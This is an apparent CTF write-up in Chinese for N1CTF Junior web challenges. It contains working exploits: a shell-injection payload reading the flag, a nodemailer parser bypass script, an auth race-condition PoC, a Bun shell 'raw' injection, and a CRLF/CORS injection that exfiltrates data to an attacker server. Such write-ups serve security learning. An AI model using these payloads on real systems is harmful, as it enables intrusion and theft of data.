Skip to content

N1CTF Junior 1/2 WriteUps by Nick (すとCTF中でいいのに。 )

Jan 27, 2026

Check_in

ctrl+c ctrl+v

addr

lowercase 这块类似的前段时间 0CTF 遇到过

https://internethandout.com/post/ezupload

大概知道是 unicode 绕,找到 https://symbl.cc/cn/0131/ admın 绕过第一段

ping 的逻辑没有什么问题,肯定问题出在 ipadress 这个库里面,让 Gemini 审了一下源码,发现

image.png

::1%;cat${IFS}$(echo${IFS}L2ZsYWcK|base64${IFS}-d)

简单地绕一下一些特殊字符拿到 flag

Next_waf

https://nickchen.top/blog/dive_into_react2shell

刚好之前研究过,用p神的 utf16 绕法 + 响应体回显。很晚才看到这道题,没抢到一血,可惜。

傻福 Cloudflare 给我下面这段代码 waf 了,请前往 https://gist.github.com/nick-cjyx9/c1a173ae878a69fd1ec66ef898055916 查看

Postman

很明显要让拼接出来的 raw_form 最后解析出 admin 的邮箱和用户名,结合脚本和源码去试

const addressparser = require('nodemailer/lib/addressparser');

const tester = [
  "test"
]

const invalidChars = [' ', ',', '"', "'", '\\', '/', '`', ';', '%', '<', '>', '[', ']', '{', '}', '|', ':'];

const ADMIN_EMAIL = "admin@admin.com";
const ADMIN_USERNAME = "Administrator";

function run_test() {
  tester.forEach(t => {
    console.log(`:::[NEW] now ${t}`)
    for (const char of invalidChars) {
      if (t.includes(char)) {
        console.log(`[WAFED] char: ${char}`);
      }
    }
    if (t.toLowerCase().includes("admin")) {
      console.log(`[WAFED] admin`);
    }
    const generatedEmail = `${t}@test.com`;
    const rawFrom = `${t} <${generatedEmail}>`;
    console.log(`[FORM] ${rawFrom}`)
    const parsed = addressparser(rawFrom);
    const len = parsed.length;
    const senderEntry = parsed[len - 1];
    console.log(senderEntry);
    const resolvedEmail = senderEntry.address;
    const resolvedUsername = senderEntry.name;

    if (resolvedEmail === ADMIN_EMAIL && resolvedUsername === ADMIN_USERNAME) {
      console.log(`!!![PASSED] ${t}!!!`);
    }
  })
}

run_test()

tokenizer

image.png

image.png

waf

image.png

image.png

比对一下发现括号,换行,制表没ban。

image.png

admin 用 \r

image.png

\n 可以当空格用,括号后的当作注释丢掉。

Ad\rministrator\nad\rmin@ad\rmin.com(

AI 写个 exp,

const http = require('http');
const querystring = require('querystring');

// Configuration
const HOST = '60.205.163.215';
const PORT = 51683;
const PAYLOAD_USERNAME = `Ad\rministrator\nad\rmin@ad\rmin.com(`
const PASSWORD = "pwn";

function request(method, path, data, cookie) {
    return new Promise((resolve, reject) => {
        const postData = data ? querystring.stringify(data) : '';
        const options = {
            hostname: HOST,
            port: PORT,
            path: path,
            method: method,
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
                'Content-Length': Buffer.byteLength(postData)
            }
        };
        if (cookie) options.headers['Cookie'] = cookie;

        const req = http.request(options, (res) => {
            let body = '';
            res.on('data', chunk => body += chunk);
            res.on('end', () => resolve({ statusCode: res.statusCode, headers: res.headers, body }));
        });

        req.on('error', (e) => reject(e));
        if (postData) req.write(postData);
        req.end();
    });
}

async function exploit() {
    console.log(`[+] Target: http://${HOST}:${PORT}`);
    console.log(`[+] Payload User: ${JSON.stringify(PAYLOAD_USERNAME)}`);

    try {
        // 1. Register
        console.log("[*] Registering user...");
        let res = await request('POST', '/register', {
            username: PAYLOAD_USERNAME,
            password: PASSWORD
        });

        let cookie = null;
        if (res.headers['set-cookie']) {
            cookie = res.headers['set-cookie'].map(c => c.split(';')[0]).join('; ');
        }

        // If no cookie, try login
        if (!cookie) {
            console.log("[!] No cookie from register, trying login...");
            res = await request('POST', '/login', { username: PAYLOAD_USERNAME, password: PASSWORD });
            if (res.headers['set-cookie']) {
                cookie = res.headers['set-cookie'].map(c => c.split(';')[0]).join('; ');
            }
        }

        if (!cookie) {
            console.error("[-] Failed to get session cookie. Registration/Login failed.");
            return;
        }
        console.log(`[+] Got Cookie: ${cookie}`);

        // 2. Send Email
        console.log("[*] Sending payload email...");
        await request('POST', '/send', {
            recipientUsername: PAYLOAD_USERNAME,
            subject: "Pwn",
            content: "Flag pls"
        }, cookie);

        // 3. Check Inbox
        console.log("[*] Checking inbox for flag...");
        res = await request('GET', '/', null, cookie);

        const match = res.body.match(/flag\{[^}]+\}/);
        if (match) {
            console.log(`\n[SUCCESS] Flag: ${match[0]}\n`);
        } else {
            console.log("[-] Flag not found in inbox.");
        }

    } catch (e) {
        console.error("[-] Error:", e.message);
    }
}

exploit();

Bun

很新很热的 bun,第一段应该要认证成 admin,worker 操作应该是耗时的,可能能打条件竞争,

这里把创建 session 和登录分开就很奇怪了,但是只有分开才能达成创建 guest session → 验证 guest:guest → 在 worker 出结果之前替换成 admin → 认证成 admin 这条链子,AI写 PoC 打一下。

import argparse
import json
import secrets
import threading
import time
import urllib.parse
import urllib.request

def make_request(method: str, base_url: str, path: str, *, data: dict | None = None,
                 params: dict | None = None, timeout: float = 5.0) -> tuple[int | None, dict | None]:
    url = base_url.rstrip("/") + path
    if params:
        url += ("?" + urllib.parse.urlencode(params))

    payload = None
    headers = {}

    if data is not None:
        payload = json.dumps(data).encode()
        headers["Content-Type"] = "application/json"

    req = urllib.request.Request(url, data=payload, headers=headers, method=method)

    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read().decode()
            parsed = json.loads(body) if body else None
            return resp.getcode(), parsed
    except Exception as exc:  ## pylint: disable=broad-except
        print(f"[!] Request {method} {path} failed: {exc}")
        return None, None

def try_race(base_url: str, victim_user: str, victim_password: str, target_user: str,
             delay: float, timeout: float) -> tuple[bool, dict | None, str]:
    session_id = f"race_{secrets.token_hex(8)}"

    code, _ = make_request("POST", base_url, "/api/auth/init",
                           data={"sessionId": session_id, "username": victim_user}, timeout=timeout)
    if code != 200:
        return False, None, session_id

    verify_result: dict[str, tuple[int | None, dict | None]] = {}

    def do_verify():
        verify_result["resp"] = make_request(
            "POST", base_url, "/api/auth/verify",
            data={"sessionId": session_id, "password": victim_password}, timeout=timeout,
        )

    verify_thread = threading.Thread(target=do_verify, daemon=True)
    verify_thread.start()

    ## Give the password worker a moment to start, then clobber the session owner.
    time.sleep(delay)
    make_request("POST", base_url, "/api/auth/init",
                 data={"sessionId": session_id, "username": target_user}, timeout=timeout)

    verify_thread.join(timeout)
    if "resp" not in verify_result:
        return False, None, session_id

    verify_code, verify_body = verify_result["resp"]
    if verify_code != 200 or not verify_body or not verify_body.get("success"):
        return False, None, session_id

    me_code, me_body = make_request("GET", base_url, "/api/user/me",
                                    params={"sessionId": session_id}, timeout=timeout)
    if me_code == 200 and me_body:
        return me_body.get("role") == "admin", me_body, session_id
    return False, None, session_id

def main() -> None:
    parser = argparse.ArgumentParser(description="Privilege escalation PoC via auth race condition")
    parser.add_argument("--base", default="http://localhost:3000", help="Target base URL")
    parser.add_argument("--delay", type=float, default=0.02, help="Delay before clobbering session owner")
    parser.add_argument("--timeout", type=float, default=5.0, help="HTTP timeout per request")
    parser.add_argument("--max-attempts", type=int, default=200, help="Stop after this many attempts (0 = infinite)")
    parser.add_argument("--victim-user", default="guest", help="Low-privileged username with known password")
    parser.add_argument("--victim-pass", default="guest", help="Password for the victim user")
    parser.add_argument("--target-user", default="admin", help="High-privileged username to steal session for")
    args = parser.parse_args()

    attempt = 0
    while True:
        attempt += 1
        success, me_body, session_id = try_race(
            args.base, args.victim_user, args.victim_pass, args.target_user, args.delay, args.timeout,
        )

        if success:
            print("[+] Race won! Session ID:", session_id)
            print(json.dumps(me_body, indent=2))
            return

        print(f"[-] Attempt {attempt} failed (session {session_id}).")
        if args.max_attempts and attempt >= args.max_attempts:
            print("[!] Max attempts reached without success.")
            return

if __name__ == "__main__":
    main()

image.png

成了。

下一步是原型链污染,重点是在没有 __proto__ 的情况下,可以污染的东西十分有限,我们该污染些什么。

比赛的时候我用 Gemini fuzz 出来了 payload:污染 toString.raw,但是一直没有理解。

在我咨询了 bun 安全团队后得到了这样的回复。

This is intentional & documented behavior. raw, as the name suggests, is for unprocessed input. This is not a security vulnerability.

我马上去查了文档,从 https://bun.com/reference/bun/$https://bun.com/reference/bun/ShellExpression 可以知道向 $ 传入的模板字符串的内嵌变量不仅仅接受字符串,也包含所有拥有 raw 属性的对象。

type ShellExpression = { toString(): string } | ShellExpression[] | string | { raw: string } | Subprocess<SpawnOptions.Writable, SpawnOptions.Readable, SpawnOptions.Readable> | SpawnOptions.Readable | SpawnOptions.Writable | ReadableStream

也就是说以下的 PoC 在 bun 中是成立的,

import { $ } from "bun";

const payload = {
  raw: '; touch pwned'
};

await $`echo ${payload}`; 

所以就有了以下 payload,我们污染了 object.prototype.toString,让它作为传入模板字符串的对象,设置其 raw 为注入命令。

image.png

image.png

算是给了一个教训,以后一定要深度看文档,尤其要多翻 Reference. (其实这道题研究一下参数的 ts 类型也能做,不过这也算是另一种形式的文档了。)

notes

60000ms 延时基本确定 xs-leak

/api/search 有 CRLF 注入,但是 Firefox 严格遵循了规范 https://httpwg.org/specs/rfc6266.html#header.field.definition,很难搞

image.png

https://nvd.nist.gov/vuln/detail/CVE-2024-10461https://nvd.nist.gov/vuln/detail/CVE-2025-6430 看起来是我想要的,但是被修了,playwright 的 Firefox 版本是 Firefox 146.0.1。

from urllib.parse import quote

headeri = '"\r\nContent-type:text/html;charset=UTF-8\r\n\r\n'
payload = '''<iframe src="https://webhook.site/d962416c-59c8-4cbb-8350-317b67924c0a"></iframe>'''
print('http://localhost:5000/api/search?filename={}&q={}'.format(quote(headeri),quote(payload)))

原来一直在想在 search 端点 XSS,后面吃了个饭回来脑袋突然灵光了一下。试了一下能出网,然后直接带 Access-Control-Allow-Credentials 就能爆出flag,

搓个 PoC 上 VPS

from flask import Flask, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/')
def index():
  a = open("./attack.html","r")
  return a.read()

@app.route('/log')
def log():
    data = request.args.get('data')
    print(f"Received data: {data}")
    with open('log.txt', 'a') as f:
        f.write(f"Received data: {data}\n")
    return "Logged"

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=2333)
<!DOCTYPE html>
<html>
<script>
  const vps = 'http://127.0.0.1:2333'
  // Payload: dummy"\r\nAccess-Control-Allow-Origin: http://127.0.0.1:2333\r\nAccess-Control-Allow-Credentials: true\r\n\r\n
  const payload = 'dummy"%0D%0AAccess-Control-Allow-Origin%3A%20http%3A//127.0.0.1%3A2333%0D%0AAccess-Control-Allow-Credentials%3A%20true%0D%0A%0D%0A'

  async function brute(a) {
    try {
      const r = await fetch(`http://127.0.0.1:5000/api/search?filename=${payload}&q=${encodeURIComponent(a)}`, {
        credentials: 'include'
      })
      const t = await r.text()
      // console.log(t)
      return t.includes(`"total": 1`)
    } catch (e) {
      console.error(e)
      return false
    }
  }

  async function d() {
    await fetch(`${vps}/log?data=Starting...`)
    let flag = 'flag{'
    const r = 126
    while (true) {
      let found = false
      for (let i = 32; i <= 126; i++) {
        let c = String.fromCharCode(i);
        if (await brute(flag + c)) {
          flag += c;
          await fetch(`${vps}/log?data=${encodeURIComponent(flag)}`)
          found = true
          if (c === '}') {
            await fetch(`${vps}/log?data=DONE:${encodeURIComponent(flag)}`)
            return
          }
          break;
        }
      }
    }
  }

  d();
</script>

</html>

image.png

没能抢过正规子群的 AI 大人